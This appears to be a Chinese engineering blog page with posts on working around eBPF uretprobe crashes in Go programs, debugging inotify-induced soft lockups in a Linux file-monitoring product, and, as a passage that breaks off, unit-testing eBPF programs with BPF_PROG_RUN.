uretprobe似乎通过修改堆栈来放置返回探针，这与Go管理堆栈的方式冲突（Go中的堆栈可以在任何时候增长/缩小，它通过将整个堆栈复制到一个新的较大区域，调整堆栈中的指针以指向新区域等方式实现）。因此，如果我们正在进行uretprobe操作，并且堆栈在此期间发生增长（或缩小），它可能导致Go运行时发生错误。请参阅此处的示例错误消息：go.stp#L32-L58 亲自验证是的，笔者在为eCapture增加go tls的明文捕获时，也是attach到Go 函数的uretprobe上，结果自然是，被挂载的进程崩溃了。经过漫长的debug、查资料，终于有点眉目。这其实跟Golang的runtime、寄存器等实现机制有关，我写了一个DEMO，验证一番。这个DEMO是我在5月初写的，期间一直想写篇简单的文章给大家介绍一下，奈何太忙了，接着这次出差的机会，周末整理一下，分享给大家。时间相隔太久，可能很多细节都忘记了，笔者水平有限，如有错误，欢迎指出。 golang uretprobe冲突话不多说，Go程序崩溃的核心原因为Go的栈在runtime管理时，被插入了异常的内存地址。Go中常见的堆栈变化为协程goroutine的创建与销毁。栈内被插入异常内存地址是因为eBPF的实现机制是向函数的返回地址前，插入了断点指令（i386和x86_64是INT3）。两个条件的叠加，就出现了这个错误。那么重现起来也比较简单，写一个协程goroutine数量不停变化的程序，并使用eBPF uretprobe挂载上去即可。案例演示被HOOK的测试代码 package main import ( "flag" "fmt" "time" ) //go:noinline func recursion(level, maxLevel int) int { if level > maxLevel { return level } return recursion(level+1, maxLevel) } //go:noinline func NewTestFunc() int { //nothing print("NewTestFunc\n") return 100 } // uretprobe挂载的目标函数 // //go:noinline func CountCC(maxLevel int) (a int) { a = NewTestFunc() fmt.Println(a) if a > 100 { return a } a = recursion(0, maxLevel) fmt.Printf("CountCC return :%d\n", a) return a } func main() { var maxLevel = flag.Int("l", 100, "max recursion level") flag.Parse() for { go CountCC(*maxLevel) time.Sleep(time.Second) } } 被挂载的函数是CountCC，他的返回值应该是101，这段代码被Go编译后，CountCC在符号表里名字是main.CountCC，这个就是eBPF挂载的函数名。要注意，在代码里务必使用go:noline语法来让Go编译器不要对这段代码进行内联inline，否则编译后的可执行文件中，符号表内就找不到main.CountCC函数了。执行挂载动作的代码内核空间代码： SEC("uretprobe/countcc") int uretprobe_countcc(struct pt_regs *ctx) { bpf_printk("new countCC[RET] detected\n"); return 0; }; 其中SEC的参数uretprobe/countcc在编译为ebpf字节码后，会被用户空间程序读取，关联到uretprobe_countcc这个符号上。用户空间代码：执行挂载动作的代码，也很好实现，使用笔者的golang eBPF管理SDK ebpfmanager，只需要几行代码，以下为用户空间程序： const COUNT_CC_SYMBOL = "main.CountCC" var sec = "uretprobe/countcc" var ebpfFunc = "uretprobe_countcc" var m = &manager.Manager{ Probes: []*manager.Probe{ { Section: sec, EbpfFuncName: ebpfFunc, AttachToFuncName: COUNT_CC_SYMBOL, BinaryPath: goAppPath, }, }, } // Initialize the manager buf, err := Asset("/probe.o") if err != nil { log.Fatal(errors.New(fmt.Sprintf("error:%v , couldn't find asset", err))) } if err = m.Init(bytes.NewReader(buf)); err != nil { log.Fatal(err) } // Start the manager if err = m.Start(); err != nil { log.Fatal(err) } 挂载类型uretprobe/countCC，被Go的eBPF类库解析为uretprobe类型程序。挂载的eBPF执行函数为uretprobe_countcc，挂载目标符号为main.CountCC。执行重现编译后，观测程序是main，被观测程序是demo。启动观测程序bin/main 启动被观测程序bin/demo 崩溃栈信息可以看到被观测程序立刻崩溃，崩溃的信息如下： bin/demo NewTestFunc 100 runtime: unexpected return pc for main.CountCC called from 0x7fffffffe000 stack: frame={sp:0xc000069f50, fp:0xc000069fc8} stack=[0xc000069000,0xc00006a000) 0x000000c000069e50: 0x000000c0000560d8 0x000000c0000140b8 0x000000c000069e60: 0x000000c000069e80 0x000000000048802b <main.recursion+0x000000000000002b> 0x000000c000069e70: 0x000000000047a0a0 <internal/poll.(*FD).Write.func1+0x0000000000000000> 0x000000c0000560c0 0x000000c000069e80: 0x000000c000069ea0 0x000000000048802b <main.recursion+0x000000000000002b> 0x000000c000069e90: 0x0000000000468efe <sync.(*Pool).pin+0x000000000000001e> 0x000000c0000560c0 0x000000c000069ea0: 0x000000c000069ec0 0x000000000048802b <main.recursion+0x000000000000002b> 0x000000c000069eb0: 0x000000000052e3c0 0x0000000000000000 0x000000c000069ec0: 0x000000c000069ee0 0x000000000048802b <main.recursion+0x000000000000002b> 0x000000c000069ed0: 0x000000000047d76a <fmt.(*pp).free+0x00000000000000ca> 0x000000000052e3c0 0x000000c000069ee0: 0x000000c000069f00 0x000000000048802b <main.recursion+0x000000000000002b> 0x000000c000069ef0: 0x000000c000036740 0x000000000047dc4e <fmt.Fprintln+0x000000000000008e> 0x000000c000069f00: 0x000000c000069f20 0x000000000048802b <main.recursion+0x000000000000002b> 0x000000c000069f10: 0x0000000000000004 0x000000000000000c 0x000000c000069f20: 0x000000c000069f40 0x000000000048802b <main.recursion+0x000000000000002b> 0x000000c000069f30: 0x0000000000000000 0x0000000000000000 0x000000c000069f40: 0x000000c000069fb8 0x0000000000488147 <main.CountCC+0x0000000000000087> 0x000000c000069f50: <0x00000000004c0798 0x000000c00000e018 0x000000c000069f60: 0x000000c0000367a8 0x0000000000000001 0x000000c000069f70: 0x0000000000000001 0x0000000000000000 0x000000c000069f80: 0x0000000000000000 0x0000000000000064 0x000000c000069f90: 0x0000000000000064 0x0000000000000000 0x000000c000069fa0: 0x0000000000000000 0x0000000000490180 0x000000c000069fb0: 0x0000000000528bc0 0x000000c0000367d0 0x000000c000069fc0: !0x00007fffffffe000 >0x0000000000000000 0x000000c000069fd0: 0x0000000000000000 0x000000000045bd81 <runtime.goexit+0x0000000000000001> 0x000000c000069fe0: 0x0000000000000000 0x0000000000000000 0x000000c000069ff0: 0x0000000000000000 0x0000000000000000 fatal error: unknown caller pc runtime stack: runtime.throw({0x4a2fba?, 0x522940?}) /usr/local/go1.18.8/go/src/runtime/panic.go:992 +0x71 runtime.gentraceback(0x423d45?, 0x7f46d2dc2fff?, 0x1?, 0x400?, 0x0, 0x0, 0x7fffffff, 0x4a92e0, 0x7f46d2dc2fff?, 0x0) /usr/local/go1.18.8/go/src/runtime/traceback.go:258 +0x1c2a runtime.copystack(0xc000003860, 0x800000002?) /usr/local/go1.18.8/go/src/runtime/stack.go:930 +0x2f5 runtime.newstack() /usr/local/go1.18.8/go/src/runtime/stack.go:1110 +0x497 runtime.morestack() /usr/local/go1.18.8/go/src/runtime/asm_amd64.s:547 +0x8b 其中致命的错误信息是fatal error: unknown caller pc，是的，重现了。 Go程序uretprobe挂载解决方案冲突点正如前文所说，这是golang 协程收缩容，导致stack变动， int3指令执行后，添加到stack中，破坏原来的栈，执行报错。如何解决这个问题呢，在之前的issue里，有人提了一个用uprobe模拟uretprobe的思路。给定一个Golang二进制文件，解析ELF符号表并获取我们想要跟踪的符号的地址。如果需要，在该地址附加一个uprobes。不要将uretprobe附加到符号地址，而是从该地址开始读取ELF文本部分，并解码汇编指令，直到达到符号的结束。在扫描过程中，在每个返回过程的指令（例如对于x86-64，RETN指令，操作码为0xC2和0xC3）处放置一个uprobes。对于我感兴趣的符号，通常只有很少的RET指令，大约在1到5个范围内，这是合理的。当在上述点安装的任一uprobes触发时，实际上就像我们执行了一个uretprobe一样，除了我们没有干扰堆栈，因此当Go运行时移动堆栈时，解决方案足够稳健以避免崩溃（至少看起来是这样）。而且，由于uprobes恰好放置在RET指令之前，栈指针已经方便地放置在帧的开头，因此我们可以轻松访问输入参数和返回值，因为它们在Go中都存储在栈上。评论者还提到，这种方法具有一些轻微的性能优势，因为我们避免了uretprobe的开销。但缺点是我们现在必须在用户空间中解码ELF文件的汇编指令，所以相比标准的替代方案要麻烦得多，而且，无法使用BCC之类工具，只能自己实现eBPF程序。 Go函数的RET偏移地址这可难不到我，笔者一直不太用BCC，更喜欢自己写eBPF程序。实现起来也很简单，只需要按照DWARF Debugging Standard规范，读取Golang的ELF文件，查找符号表内对应main.CountCC函数对应符号的汇编指令，并按照X86格式解析，循环判断是否为RET，并记录当前指令在整个函数符号的偏移地址即可。 goElf, err = elf.Open(elfPath) // ... goSymbs, err = goElf.Symbols() // ... var found bool var symbol elf.Symbol for _, s := range goSymbs { if s.Name == symbolName { symbol = s found = true break } } section := goElf.Sections[symbol.Section] var elfText []byte elfText, err = section.Data() // ... start := symbol.Value - section.Addr end := start + symbol.Size var instHex []byte instHex = elfText[start:end] for i := 0; i < len(instHex); { inst, err := x86asm.Decode(instHex[i:], 64) // ... if inst.Op == x86asm.RET { offsets = append(offsets, i) } i += inst.Len } 内核空间程序因为是用uprobe来模拟uretprobe，eBPF内核代码肯定要调整的了，为了要验证能否拿到返回值，这里也增加了返回值的获取。 SEC("uprobe/countcc") int uprobe_countcc(struct pt_regs *ctx) { bpf_printk("new countCC detected\n"); int num; num = (int)GO_PARAM1(ctx); bpf_printk("countCC :: num:%d, ret_num:%d\n", num); return 0; }; 可以看到，这里新增一个函数uprobe_countcc，将用于用户空间的eBPF执行函数。用户空间程序调整经过ELF文件分析，将RET指令的偏移地址保存到offsets中，在用户空间挂载到函数的偏移位置上： sec = "uprobe/countcc" ebpfFunc = "uprobe_countcc" m.Probes = m.Probes[:0] // 清空slice for _, offset := range offsets { m.Probes = append(m.Probes, &manager.Probe{ Section: sec, UprobeOffset: uint64(offset), EbpfFuncName: ebpfFunc, AttachToFuncName: COUNT_CC_SYMBOL, BinaryPath: goAppPath, UID: fmt.Sprintf("%s_%d", ebpfFunc, offset), }) } 可以看到Section改成了uprobe/countcc，并挂载到内核函数uprobe_countcc上。以及新增 UprobeOffset字段，并设定offset，这样就实现自动的uprobe偏移量挂载。（PS：你就说，笔者的 ebpfmanager方便不方便吧）模拟验证按照之前的步骤，先启动观测程序，打开内核调试的日志，再启动被观测程序：启动观测程序，bin/main -e，这里多了-e参数，来使用模拟模式。打开内核调试日志，方便观察是否能拿到main.CountCC函数的返回值，命令为cat /sys/kernel/debug/tracing/trace_pipe。启动被观测程序，bin/demo 观测程序观测程序启动后，可以看到终端日志中，搜索到两处RET指令，并分别进行uprobe`挂载。 root@vm-server-2004:/home/cfc4n/project/go_uretprobe_demo# bin/main -e 2023/06/11 23:49:18 Github repo : https://github.com/cfc4n/go_uretprobe_demo 2023/06/11 23:49:18 Use uprobe+offset address instead of uretprobe:true 2023/06/11 23:49:18 traced ELF file:/home/cfc4n/project/go_uretprobe_demo/bin/demo 2023/06/11 23:49:18 attach function: main.CountCC 2023/06/11 23:49:18 Golang uretprobe hook main.CountCC [RET] at 0x7A 2023/06/11 23:49:18 Golang uretprobe hook main.CountCC [RET] at 0xE3 2023/06/11 23:49:18 successfully started, head over to /sys/kernel/debug/tracing/trace_pipe main.CountCC函数内，RET汇编指令的偏移地址分别为0x7A、0xE3 ，且都挂载成功，执行的内核函数为uprobe_countcc。被观察程序如你所见，被观测程序没有崩溃，可以正常运行，并输出结果。 bin/demo NewTestFunc 100 CountCC return :101 NewTestFunc 100 CountCC return :101 NewTestFunc 100 CountCC return :101 观察结果笔者的DEMO里没有将内核调试结果传输到用户空间，直接打印了。 root@vm-server-2004:/home/cfc4n# cat /sys/kernel/debug/tracing/trace_pipe demo-18960 [000] .... 5125.277053: 0: new countCC detected demo-18960 [000] .... 5125.277089: 0: countCC :: num:101, ret_num:0 demo-18962 [001] .... 5126.276907: 0: new countCC detected demo-18962 [001] .N.. 5126.276940: 0: countCC :: num:101, ret_num:0 可以看到，demo-18960 （程序名+PID）运行结果后，出现了我们打印的日志。并且，捕获的结果是101，符合预期。总结 eBPF挂载uretprobe崩溃的问题，只在Golang程序上发生，这跟Golang的协程缩容、扩容机制有关，受到CPU中断指令插入影响，破坏原有调用栈，导致问题发生。其他编译型语言上，不会有这个问题。假如有的语言也跟Golang一样，使用stack来做运动时管理，哪也会遇到这个问题。关于 Golang的这个问题，在其社区里也有关于runtime: fatal error: unknown caller pc when uprobes are attached #27077的讨论，Go语言开发者aclements认为，这不是Go的问题，近期也不会考虑修复，希望uretprobe的管理层面，自动做返回地址栈的修复。感谢提供的参考资料，@sillyousu。这些资料确认了我的猜测，很不幸地，我们实际上无法有效地解决uretprobes损坏堆栈的问题。既然我们无能为力，而且这并不是一个Go的错误，我决定关闭这个问题。如果将来uretprobes能够提供足够的信息来恢复用户空间中被破坏的返回地址，我们可以重新考虑这个问题，并可能找到解决方法。所以，这个问题，大家还是自己使用模拟的方法来解决Golang程序的函数返回值观测需求吧。eCapture也是自己写了PR支持了Go TLS的明文捕获：support gotls request and response #357。本次DEMO的测试代码在GitHub仓库：cfc4n/go_uretprobe_demo ，祝大家玩得开心。写于2023年6月11日，周末，雷阵雨，北京望京。

2023-06-12 0 0

Linux上文件监控的踩坑分享

Linux上文件监控的踩坑分享

Linux上文件监控的踩坑分享前言在Linux主机安全产品HIDS中，文件监控是特别常见的需求，在实现方案上，Linux内核层提供了文件变动的通知机制fsnotify，然而，在高磁盘IO的主机上、不同版本的内核上以及海量监控目标中，将会面临哪些问题呢？业务性能与安全性如何做更好地取舍均衡？今天，我的小伙伴阿松给大家分享以下文件监控系统的建设历程。文件监控的实现 Linux系统上，常见的文件监控一般有如下几种实现方案。粗暴的周期性轮询，在内核不支持（比如伪文件系统），并且也没有特别好的方式的时候，轮询不失为一个办法，但是缺点如轮询字面表述的那样：无论轮询周期多短，总可能会有事件的丢失；当然了，对于丢失事件不敏感的应用来说，这个也能接受; 为了减少事件的丢失，需要尽可能短的轮询周期，但是如果轮询周期太短，性能消耗就巨大，这是一个两难的选择；不过，如果仅仅是感知个别文件的变动，还是可以采用短周期轮询的方式，但是如果是需要感知大量文件变动呢？采用内核提供的fsnotify机制。在fsnotify的基础上，内核提供了给用户态使用的接口，这套接口从dnotify到inotify再到fanotify，也是经历了多次迭代；基于fsnotify机制，只需要watch 某个文件，然后等待内核上报文件变动的event即可。在我们的业务场景中，需要对大量的文件进行监控，显然是不可能采用轮询了，经过多次测试验证，内核提供的inotify接口最能满足我们的需求； inotify使用的方式大概如下，具体可参考：Linux man page inotify.7 inotify_init，初始化inotify fd； inotify_add_watch，监控某个文件/目录； receive event，处理文件变动事件； inotify的事件通知机制，以open事件为例子，inotify event的产生，反映在内核中是如下的函数调用链路： open syscall -> fsnotify_open -> fsnotify -> send_to_group -> handle_event (inotify_handle_event) 用户态的代码等待接收event，即可获取文件变动的数据。 inotify的踩坑优化在生产环境中，一旦用户态功能需要和内核子系统进行大量的交互，那么由于生产环境的复杂性，难免会暴露出一些问题，而且生产环境业务的多样性使得开发者不得不尝试做更深入的思考；然而，即便是如此小心谨慎，还是踩到了一个坑；第一次踩坑背景大概是这样的，有一台机器上运行了文件监控服务A，在文件监控服务的一次变更中，突然发现某个业务服务器上发生了tcp timeout，时间线和文件监控服务的变更时间点完全一致，但这很难将文件监控的功能跟TCP timeout异常这两个事情联系在一起。为了排查这些问题，我们请了内核组的同学协助排查，发现确实是能够复现tcp timeout这个问题；通过review变更发现，本次变更仅仅是对监控的范围做了扩大，属于常规操作；因为监控的目标文件数量太多了，初步怀疑是高频次系统调用导致CPU内核态被打满，影响了正常网络业务的处理，导致tcp timeout。但是随后的一系列实验，都否定了这个猜想，即系统调用的频率和tcp timeout无关。 tcp timeout问题分析在一筹莫展之际，增加了inotify_add_watch系统调用的耗时统计，发现文件监控服务A在变更后，监控文件的整体流程（inotify_add_watch监控配置目录）的耗时异常高。这其实和认知不符合，正常的系统调用耗时应该极短；那么只好在复现代码的流程上对每个inotify_add_watch的耗时做统计了，这一统计不要紧，发现有个目录就是很特别，一旦监控这个目录，那么某个CPU核内核态会被打满，耗时能到秒级；通过perf对测试代码进行火焰图分析，发现__fsnotify_update_child_dentry_flags耗时占了大头。在这个函数中，可以看到似乎都是常规操作，Linux 3.10 fsnotify.c#L52，看起来让人不放心的是有一把inode的锁：spin_lock(&inode->i_lock); spin_lock就是不停的询问资源有没有准备好的一把锁，使用spin_lock的的前提是：假设很快就能获得锁，且不会占用锁太久； spin_lock不关闭中断，如果一个内核线程拿不到锁，它就会一直自旋等待锁可用，处于忙等状态，表现出来就是该线程所在的CPU的内核态几乎被打满。且由于该CPU不可被调度（服务器内核配置的PREEMPT_VOLUNTARY，实际就是不可抢占模式），那么该CPU会一直做无用功。问题解决思路所以基于perf分析和spin_lock的原理和使用场景，得出来如下结论：这个被监控的目录inode的spin_lock被某个进程长时间持有不释放，在文件监控服务A监控该目录，尝试获取spin_lock时一直自旋，导致CPU被打满，进而影响了正常的网络处理流程，导致tcp timeout。查到这里，那么看起来如何解决tcp timeout的办法就比较清晰了：找到长时间持有该目录inode的spin_lock的进程，kill掉；文件监控服务A其实不太关注这个目录，直接移除对这个目录的监控就可以解决问题，实际上最终也是采取了这个方案；文件监控的再次踩坑上次的踩坑和欧，以为inode的锁占用问题得到了完全解决，但没想到后面又一次掉到坑里了。后来复盘的时候做了回顾，之前inotify导致了个别服务器tcp timeout，且并没有其它的内核日志等证据来辅助证明，所以所有的证据都指向一个地方：这个目录被其它进程占用inode锁。这就为后面的再一次踩坑埋下伏笔。 case原委某天，内核团队反馈，似乎有文件监控服务进程导致的soft lockup，可以从内核日志清晰看到。当时收到反馈的时候整个人是懵的，受限于术业专攻，无法理解理解用户态的代码是如何导致内核态的soft lockup的；但现实是如此残酷，通过一系列的实验验证，确实能够复现soft lockup；这里多亏了内核团队非常给力，内核团队通过分析soft lockup时的日志，发现问题点确实还是在__fsnotify_update_child_dentry_flags这个函数内部。并且通过对内核日志的分析，可以精确定位到soft lockup时，实际卡住的地方在if (!child->d_inode)这个位置。这个判断条件是在一个循环的内部，循环内部遍历该inode所有的children，通过crash工具，也可以观察到当前这个目录对应inode下的children（然而是negative）很多； void __fsnotify_update_child_dentry_flags(struct inode *inode) { struct dentry *alias; int watched; if (!S_ISDIR(inode->i_mode)) return; /* determine if the children should tell inode about their events */ watched = fsnotify_inode_watches_children(inode); spin_lock(&inode->i_lock); /* run all of the dentries associated with this inode. Since this is a * directory, there damn well better only be one item on this list */ hlist_for_each_entry(alias, &inode->i_dentry, d_u.d_alias) { struct dentry *child; /* run all of the children of the original inode and fix their * d_flags to indicate parental interest (their parent is the * original inode) */ spin_lock(&alias->d_lock); list_for_each_entry(child, &alias->d_subdirs, d_child) { if (!child->d_inode) continue; spin_lock_nested(&child->d_lock, DENTRY_D_LOCK_NESTED); if (watched) child->d_flags |= DCACHE_FSNOTIFY_PARENT_WATCHED; else child->d_flags &= ~DCACHE_FSNOTIFY_PARENT_WATCHED; spin_unlock(&child->d_lock); } spin_unlock(&alias->d_lock); } spin_unlock(&inode->i_lock); } 通过分析crash文件，发现遍历的目录为/path/to/problem，但是通过ls查看，这个下面其实没几个子目录/文件。如上所说，结合卡住的位置是在if (!child->d_inode)，那么是不是可以推断，/path/to/problem这个目录下有大量的无效dentry呢？（参考：https://lwn.net/Articles/814535/）； dentry相关当读写文件时，内核会为该文件对象建立一个dentry，并将其缓存起来，方便下一次读写时直接从内存中取出dentry提高效率。这些dentry cache可以让文件路径lookup工作大大加速，尤其是那些频繁访问的目录（如/tmp, /dev/null, /usr/bin/tetris）都在dentry cache里，可以节省大量filesystem I/O操作。 dentry属于slab cache，且dentry有三种状态： inuse，字段d_inode指向实际对象，且dentry的d_count大于0，不能被释放； unused，和inuse的区别在于这个dentry的d_count为0，也即是没有被引用，内存回收时可能会被释放； negative，d_inode不指向实际对象，这种dentry的产生主要有两种原因：关联的inode已经被释放；进程访问一些不存在的文件会产生这种dentry，这种dentry有利于加速不存在文件的检索（可以快速返回失败）；解开谜题在上述的case中，结合已有的crash分析和业务情况可以发现，业务场景比较特殊，业务会在目录/path/to/problem中地创建随机文件名的文件然后删除，且频繁地重复这一动作；这也就解释了为啥/path/to/problem这个目录下面有大量的negative dentry；显然在这种业务场景中，negative dentry加速访问的作用不明显，但遗憾的是内核并未提供相关的接口进行细粒度的删除。在此进一步说明，如下的红框中的代码是真正导致耗时居多的地方。复现soft lockup 有了以上的结论，就可以尝试复现soft lockup这一现象，看看是不是和我们的推断（inode下negative dentry太多，watch时导致soft lockup）完全契合。复现soft lockup准备工作：首先清空slab cache，echo 2 > /proc/sys/vm/drop_caches；为了缩短复现时间，调低soft lockup的阈值，比如echo 1 > /proc/sys/kernel/watchdog_thresh; 准备测试代码inotify_watch，就做一件事情，inotify_add_watch目录/tmp/test；代码可以参考Linux man pages inotify；使用time ./inotify_watch测试内核态的耗费时间，实际测试可以看到，耗时基本为0；在/tmp/test这个目录中，随机生成文件名然后删除，高频次做这一动作； #! /bin/bash num=0 while true; do ((num++)) rm -f /tmp/test/$num.tmp > /dev/null done dentry cache的大小可以通过slabtop --once观测，上述脚本运行时定时观测dentry cache的增大现象；等到dentry cache增大到一定量，比如到5GB；使用time ./inotify_watch测试内核态的耗费时间，可以发现内核态耗时可能在3S左右； dmesg -T也能查看到对应的soft lockup日志，和之前的火焰图是一致的，call Trace如下： call Trace：inotify_add_watch -> entry_SYSCALL_64_after_hwframe -> do_syscall_64 -> x64_sys_inotify_add_watch -> inotify_update_watch -> fsnotify_add_mark_locked -> fsnotify_update_child_dentry_flags 再次梳理问题链路基于以上的分析流程，再次梳理下soft lockup问题产生的链路，分析下是否还会有其它影响：目录/path/to/problem下的dentry cache特别多，比如占据内存10GB，可能其中大部分都是negative dentry； inotify_add_watch对/path/to/problem这个目录进行了watch；用户态代码调用inotify_add_watch 监控/path/to/problem这个目录时，调用链路中会调用__fsnotify_update_child_dentry_flags这个函数； __fsnotify_update_child_dentry_flags函数会对这个目录对应inode下的所有dentry（包括negative dentry）进行遍历，耗时太多导致在该CPU上产生了soft lockup；另外，因为目录/path/to/problem的inode的spin_lock被该内核线程占用太久，如果此时有其他进程需要获取该目录对应inode的spin_lock时，也会在其它CPU上产生soft lockup；所以，综上，如果/path/to/problem目录对应inode下的dentry巨多，soft lockup会有两个触发路径： Inotify_add_watch导致，由于内核线程A持有目录/path/to/problem inode的i_lock，占据CPU 1太久导致soft lockup；这时候内核线程B也尝试获取目录/path/to/problem的i_lock，因为长时间获取不到，spin_lock自旋导致CPU 2产生soft lockup；问题解决方式到此，问题已经描述清晰了，那么要如何解决呢？社区也提出了一些解决方式，但是并没有合并到主线代码：https://lore.kernel.org/lkml/20220209231406.187668-5-stephen.s.brennan@oracle.com/T/#m039bc61f4ea656bc268b7f565973d9924af15652 如上的复现步骤中，可以看到，通过清空dentry cache（echo 2 > /proc/sys/vm/drop_caches）的方式来解决，但是由于dentry和inode cache的特殊作用，该操作可能会带来性能下降，作为应急方案比较合适；文件监控服务中，对于要监控的目标目录有清晰的认知，要结合业务情况做监控目标的取舍。比如某些业务在某个目录高频次创建删除随机文件名文件，或者高频次尝试访问不存在的文件，那么这时候这个目录需要被加入黑名单；总结这两个问题，是我们遇到的比较复杂的问题，甚至是Linux Kernel的文件系统缺陷，在这里分享给大家。如果大家有更好的解决方案，也欢迎留言交流。文件监控是特别常见、特别普通的功能，然而，在生产环境中运行时，会因为环境、业务、需求等不同，遇到各种各样的问题，而这些问题的发生，将严重拉长HIDS类产品的覆盖周期。面对疑难杂症，务必要有一颗打破砂锅问到底的心，才能定位出问题根因，给出更加高效的解决方案，保证安全产品的快速覆盖。武林秘籍追根究底，追求卓越，永远都是工程师最珍贵的品质。小弟，既然读到这里了，想必你也是全身散发着这种品质，我看你计算机内功极厚，简直是百年难得一遇的编程奇才，我这里有个招聘，你要不要来试试。职位：反爬蓝军对抗专家职位隶属美团-基础研发平台-信息安全部，办公地点在北京望京、上海杨浦，两地任选。要求候选人需要在相关领域具备3年以上工作经验。职位详情：https://mp.weixin.qq.com/s/IkWNRYUOWuh0woL0_Uzg2w

2023-06-05

2 0

如何给eBPF程序写单元测试

如何给eBPF程序写单元测试

前言 eBPF程序还很年轻，周边质量建设体系还刚起步，常用于Linux内核上的监控跟踪，本身比较底层，测试成本很高。对于常写eBPF的同学，特别头疼的是快速迭代的项目，如何保证功能正常。如何给eBPF程序写单元测试呢？译者看到一篇文章，分享给大家。本文使用openAI翻译，如有错误，请看原文：Unit Testing eBPF Programs 当然，原文在 Hacker News上也被热烈讨论，大佬Daniel给出自己的看法，文章质量也很高，推荐看看。 BPF_PROG_RUN很棒，但不幸的是它依赖于正在运行的内核版本。为此，我编写了vmtest（https://dxuuu.xyz/vmtest.html），它专门用于BPF_PROG_RUN的使用场景。 eBPF的单元测试无论你喜欢与否，编写单元测试几乎已经成为你的代码的必需品。在进行更改时，它们为你提供了一个安全网，并在更改后全部通过时给你一种愉悦、温暖的感觉。在处理内核补丁时，我不得不研究为 eBPF 程序编写单元测试。事实证明，内核开发人员已经考虑到这一点，并已存在基础设施来实现它。我将提供一个实际的例子，演示如何对一个 TC eBPF 程序进行单元测试。在这个测试中，我们希望确认查找一个发送到外部 IP 地址的数据包的路由是否会选择默认网关。我们将完全控制测试所运行的网络命名空间。如果你对这其中的任何概念一无所知，别担心，我将介绍的概念同样适用于测试其他类型的 eBPF 程序。测试环境在本文中，我假设你知道如何使用clang、bpftool编译你的eBPF程序，并且知道如何生成一个vmlinux.h文件。话虽如此，我们确实需要在你的编程环境中进行一些基础设置，并安装我们需要的工具。你必须拥有： bpftool - 除了生成vmlinux.h文件之外，还将用于为你编译的eBPF程序生成一个"骨架"加载器。 clang - 我们需要它来编译eBPF程序。 make - 用于运行我的修改过的Makefile。此外，你的机器上必须具有CAP_SYS_ADMIN特权，如果你不知道是什么意思，99%的情况下以root身份运行将满足此要求。我还假设你使用的是Linux系统，你可能会认为这是一个多此一举的说法，但Windows eBPF在快速迭代。好了，最后一个假设，你已经正确安装了libbpf，并且clang/gcc能够找到它并编译你的eBPF程序。介绍BPF_PROG_RUN命令我们想要重点关注用于单元测试eBPF程序的核心功能，这个功能就是一个名为BPF_PROG_RUN的eBPF命令。这个命令从BPF_PROG_TEST_RUN改名而来，这个标识符可能是可以互换使用的。命令是一个枚举值，可以传递给Linux暴露的bpf系统调用。然而，libbpf通常会为了方便和健壮性而封装bpf系统调用的使用。因此，我们将重点关注使用libbpf封装的BPF_PROG_RUN命令，即bpf_test_run_opts。让我们来看一下它的前向声明： struct bpf_test_run_opts { size_t sz; /* size of this struct for forward/backward compatibility */ const void *data_in; /* optional */ void *data_out; /* optional */ __u32 data_size_in; __u32 data_size_out; /* in: max length of data_out * out: length of data_out */ const void *ctx_in; /* optional */ void *ctx_out; /* optional */ __u32 ctx_size_in; __u32 ctx_size_out; /* in: max length of ctx_out * out: length of cxt_out */ __u32 retval; /* out: return code of the BPF program */ int repeat; __u32 duration; /* out: average per repetition in ns */ __u32 flags; __u32 cpu; __u32 batch_size; }; #define bpf_test_run_opts__last_field batch_size LIBBPF_API int bpf_prog_test_run_opts(int prog_fd, struct bpf_test_run_opts *opts); 如果我们来看实现，我们会发现bpf_prog_test_run_opts简单地将提供的opts复制到一个内核将拥有的结构体中，对opts结构体进行一些合理性检查，然后直接调用bpf系统调用。 libbpf函数的参数接受一个eBPF程序文件描述符和一个opts结构体。 eBPF程序文件描述符表示加载到内核中的eBPF程序，我们将在本文后面演示一种方便获取此文件描述符的方法。 opts结构体既提供模拟数据，也提供函数的选项。虽然某些字段标注为可选，但我们将了解到这实际上取决于你正在测试的eBPF程序类型，这些字段到底是可选还是必需的。在本文中，我们将使用以下重要字段： sz始终是必需的，它只需设置为sizeof(bpf_test_run_opts)。 data_in、data_size_in允许您向传递给eBPF程序的ctx提供模拟数据，对于TC程序而言，就是模拟的IPv4数据包。 ctx_in、ctx_size_in允许您传入一个模拟的ctx，对于TC程序而言，就是模拟的__sk_buff结构，它是eBPF对内核套接字缓冲区的表示。测试用例和Skeleton加载器现在介绍了bpf_test_run_opts，让我们开始编写我们的eBPF测试用例。我们还将使用bpftool生成一个Skeleton加载器，它是一个带有函数的头文件，用于将我们编译的eBPF程序加载到内核，并为我们提供一个对已加载程序的句柄。该句柄可用于获取加载的eBPF程序的文件描述符，并在内核运行时与其交互。我们的测试用例的目标是确保源自主机、目标为外部节点的数据包选择默认路由，并转发到正确的接口。为了测试这一点，我们将利用eBPF辅助函数bpf_fib_lookup。我们不需要详细了解这个辅助函数的工作原理，简单来说，我们提供一个传入数据包的源地址和目的地址，它将返回一个接口（如果有的话），该数据包将被转发到该接口。在我们的测试用例中，我们希望上述接口是网络命名空间的默认网关。我们的测试数据包的源地址将为127.0.0.1，目的地址将为8.8.8.8。由于我们运行的是单元测试，实际上不会发送任何数据，并且主机之外不会产生任何副作用。请记住，这个测试有点人为，主要是为了展示测试基础设施的一些特点，我们更倾向于演示而不是实用。好的，让我们来看看我们的测试eBPF程序： // fib_lookup.bpf.c #include "../vmlinux.h" #include <bpf/bpf_helpers.h> #define TC_ACT_OK 0 #define TC_ACT_SHOT 2 #define TC_ACT_REDIRECT 7 #define AF_INET 2 /* Internet IP Protocol */ struct bpf_fib_lookup fib_params = {0}; int fib_lookup_ret = 0; SEC("tc") int fib_lookup(struct __sk_buff *skb) { struct iphdr *ip = 0; bpf_printk("performing FIB lookup\n"); bpf_printk("fib lookup original ret: %d\n", fib_lookup_ret); fib_lookup_ret = bpf_fib_lookup(skb, &fib_params, sizeof(fib_params), 0); bpf_printk("fib lookup ret: %d\n", fib_lookup_ret); return TC_ACT_OK; } char _license[] SEC("license") = "GPL"; 如您所见，测试非常简单。我们导入必要的头文件，然后定义两个全局变量，并将它们都设置为零。通过将这些变量定义为全局变量并将其设置为零，实际上使其通过我们的骨架在用户空间中可用。让我们使用以下Makefile来编译并生成此eBPF程序的骨架。 # makefile CFLAGS += -g3 \ -Wall LIBS = bpf all: fib_lookup.bpf.o fib_lookup.skel.h fib_lookup.bpf.o: fib_lookup.bpf.c clang -target bpf -Wall -O2 -g -c $< fib_lookup.skel.h: fib_lookup.bpf.o bpftool gen skeleton $< > $@ test: test.c gcc $(CFLAGS) 